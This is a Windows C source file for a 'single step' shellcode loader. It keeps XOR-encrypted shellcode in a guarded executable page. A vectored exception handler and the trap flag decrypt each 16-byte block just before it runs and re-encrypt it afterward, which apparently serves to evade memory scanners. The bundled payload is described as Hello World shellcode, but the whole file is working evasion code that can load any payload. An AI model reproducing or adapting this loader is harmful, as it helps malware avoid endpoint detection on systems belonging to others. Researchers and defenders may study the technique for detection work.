Single Step Encryption/Decryption

mainc.c

#include <Windows.h>

LONG SingleStepEncryptDecrypt(EXCEPTION_POINTERS* ExceptionInfo);
typedef VOID(__stdcall* Shellcode)();

LPBYTE ShellcodeBuffer;
ULONG_PTR PreviousOffset;
ULONG_PTR CurrentOffset;
ULONGLONG InstructionCount;
DWORD dwOld;

// Hello World! shellcode encrypted with single byte xor (0xff)
unsigned char Shellcode_XOR_FF[400] =
{
	0x16, 0xF4, 0xFE, 0xFF, 0xFF, 0x33, 0x33, 0x33, 0xB7, 0x74, 0x3B, 0xB7, 0x76, 0xA7, 0xF7, 0xB7,
	0x76, 0x97, 0xEF, 0xB7, 0x76, 0x8F, 0xE7, 0xB7, 0x76, 0x87, 0xDF, 0xBE, 0xA9, 0xBE, 0xA8, 0x9A,
	0xB7, 0x74, 0xFB, 0xDA, 0x9F, 0xFF, 0xFF, 0xFF, 0xBB, 0x74, 0x06, 0xB7, 0x74, 0xAF, 0xE7, 0xB3,
	0x74, 0x8D, 0xDF, 0xB2, 0x74, 0x39, 0xB2, 0x74, 0xB7, 0xDF, 0xB2, 0x74, 0xFF, 0xB2, 0x7A, 0x36,
	0xF0, 0x7B, 0x76, 0xFF, 0xFF, 0xFF, 0xB6, 0x9C, 0xBE, 0xC3, 0xBD, 0x74, 0x73, 0xF7, 0x77, 0xFF,
	0xFF, 0xFF, 0x7A, 0x36, 0x8B, 0x86, 0xB2, 0x72, 0xEB, 0xF6, 0xBE, 0x74, 0xAD, 0xF3, 0xB6, 0xFC,
	0x2E, 0xCC, 0x00, 0x14, 0xE9, 0x3E, 0x30, 0xF2, 0xBE, 0xF0, 0x41, 0x34, 0xBE, 0x7F, 0x04, 0x9E,
	0x72, 0xBE, 0x1F, 0xF0, 0xB3, 0x3E, 0xFC, 0x07, 0xB7, 0x00, 0x3D, 0xBB, 0x75, 0xE5, 0xBA, 0x7B,
	0x24, 0x8A, 0x1D, 0xBE, 0x74, 0xAD, 0xDF, 0xBA, 0xCC, 0x24, 0xB6, 0xFC, 0x2E, 0xBA, 0xC6, 0xA5,
	0xE7, 0x89, 0xC3, 0x74, 0xE5, 0xB6, 0xFC, 0x26, 0xCC, 0x09, 0x14, 0xE9, 0x3E, 0x31, 0xF2, 0xBF,
	0xF0, 0x41, 0x32, 0xBF, 0x7F, 0x02, 0x9E, 0x72, 0xBE, 0x1F, 0xF0, 0xB3, 0x3E, 0xFC, 0x0F, 0xB7,
	0x00, 0x3C, 0xBF, 0x75, 0xD4, 0xBF, 0x7B, 0x12, 0x8A, 0x1D, 0x72, 0xFB, 0xC1, 0xBB, 0xC4, 0x07,
	0x8B, 0xCE, 0xBE, 0x00, 0x3C, 0xB7, 0x7C, 0x3D, 0xFB, 0xBA, 0xC4, 0xA5, 0xE7, 0x8D, 0x3B, 0xB2,
	0xC4, 0x39, 0xF0, 0x7A, 0xA1, 0x00, 0x00, 0x00, 0xCC, 0x3F, 0xB7, 0x74, 0xA3, 0xDB, 0xE7, 0xB7,
	0x74, 0x93, 0xDB, 0xDF, 0xB7, 0x74, 0x8B, 0xDB, 0xD7, 0xB7, 0x74, 0x83, 0xDB, 0xCF, 0xBE, 0xA0,
	0xBE, 0xA1, 0x3C, 0xBE, 0x74, 0xB5, 0xDB, 0xB6, 0xFC, 0x36, 0xB9, 0xF0, 0x48, 0xFB, 0xA6, 0xBE,
	0x74, 0xB5, 0xE3, 0xB6, 0xFC, 0x36, 0xBD, 0x74, 0xFB, 0x7E, 0xB6, 0xFC, 0x3E, 0x14, 0x34, 0x33,
	0xBF, 0xAA, 0xB7, 0x74, 0x13, 0xB7, 0x7C, 0x13, 0xAF, 0xCC, 0x3F, 0x38, 0xBA, 0x2F, 0x8A, 0x8C,
	0x9A, 0x8D, 0x46, 0x72, 0xEF, 0x48, 0x07, 0x77, 0xBA, 0x25, 0x77, 0xBA, 0x15, 0x77, 0xBA, 0x03,
	0x38, 0xBA, 0x2B, 0xCC, 0xCD, 0xD1, 0x9B, 0x99, 0x38, 0xBA, 0x27, 0x93, 0x93, 0x38, 0xBA, 0x1F,
	0xAC, 0x97, 0x9A, 0x93, 0x38, 0xBA, 0x1B, 0x93, 0xAC, 0x8B, 0x9B, 0x99, 0x38, 0xBA, 0x17, 0x96,
	0x90, 0x38, 0xBA, 0x0F, 0xB7, 0x9A, 0x93, 0x93, 0x38, 0xBA, 0x0B, 0x90, 0xDF, 0xA8, 0x90, 0x38,
	0xBA, 0x07, 0x8D, 0x93, 0x9B, 0xDE, 0x17, 0x62, 0x01, 0x00, 0x00, 0xB7, 0x72, 0xB2, 0x2F, 0x00,
	0x2F, 0x46, 0x61, 0x87, 0x87, 0x32, 0x17, 0x72, 0x01, 0x00, 0x00, 0xBA, 0xCC, 0x36, 0xB3, 0x72,
	0xBA, 0x1F, 0xB7, 0x72, 0xAA, 0x0F, 0xCC, 0x36, 0x00, 0x2F, 0xB7, 0x7C, 0x3B, 0xAF, 0xA2, 0x3C
};

LONG SingleStepEncryptDecrypt(EXCEPTION_POINTERS* ExceptionInfo)
{
	BYTE* currentBlock128 = NULL;

	CurrentOffset = (ULONG_PTR)ExceptionInfo->ExceptionRecord->ExceptionAddress - (ULONG_PTR)ShellcodeBuffer;

	if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_GUARD_PAGE)
	{
		// This is a naive disassembler
		// Hopefully no instruction is longer than 16 bytes 
		currentBlock128 = (BYTE*)((ULONG_PTR)ShellcodeBuffer + CurrentOffset);
		PreviousOffset = CurrentOffset;

		// Decrypt next 16-byte block
		VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_READWRITE, &dwOld);
		for (size_t i = 0; i < 0x10; i++)
			*(BYTE*)(currentBlock128 + i) ^= 0xff;
		VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_EXECUTE_READ, &dwOld);

		// Single step
		ExceptionInfo->ContextRecord->EFlags |= 0x100;
		InstructionCount++;

		// Execute next instruction
		// Triggers EXCEPTION_SINGLE_STEP
		return EXCEPTION_CONTINUE_EXECUTION;
	}
	else if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
	{
		currentBlock128 = (BYTE*)((ULONG_PTR)ShellcodeBuffer + PreviousOffset);

		// Re-encrypt the 16-byte block
		VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_READWRITE, &dwOld);
		for (size_t i = 0; i < 0x10; i++)
			*(BYTE*)(currentBlock128 + i) ^= 0xff;
		VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_EXECUTE_READ | PAGE_GUARD, &dwOld);

		// Continue execution at next instruction 
		// Triggers EXCEPTION_GUARD_PAGE
		return EXCEPTION_CONTINUE_EXECUTION;
	}
	else
	{
		return EXCEPTION_CONTINUE_SEARCH;
	}
}

int main(void)
{
	AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)SingleStepEncryptDecrypt);
	
	ShellcodeBuffer = (LPBYTE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	InstructionCount = 0;

	if (ShellcodeBuffer)
	{
		RtlCopyMemory(ShellcodeBuffer, Shellcode_XOR_FF, sizeof(Shellcode_XOR_FF));
		
		if (VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_EXECUTE_READ | PAGE_GUARD, &dwOld))
		{
			Shellcode AntiMem = (Shellcode)ShellcodeBuffer;
			AntiMem();
		}
	}

	RemoveVectoredExceptionHandler((PVECTORED_EXCEPTION_HANDLER)SingleStepEncryptDecrypt);
}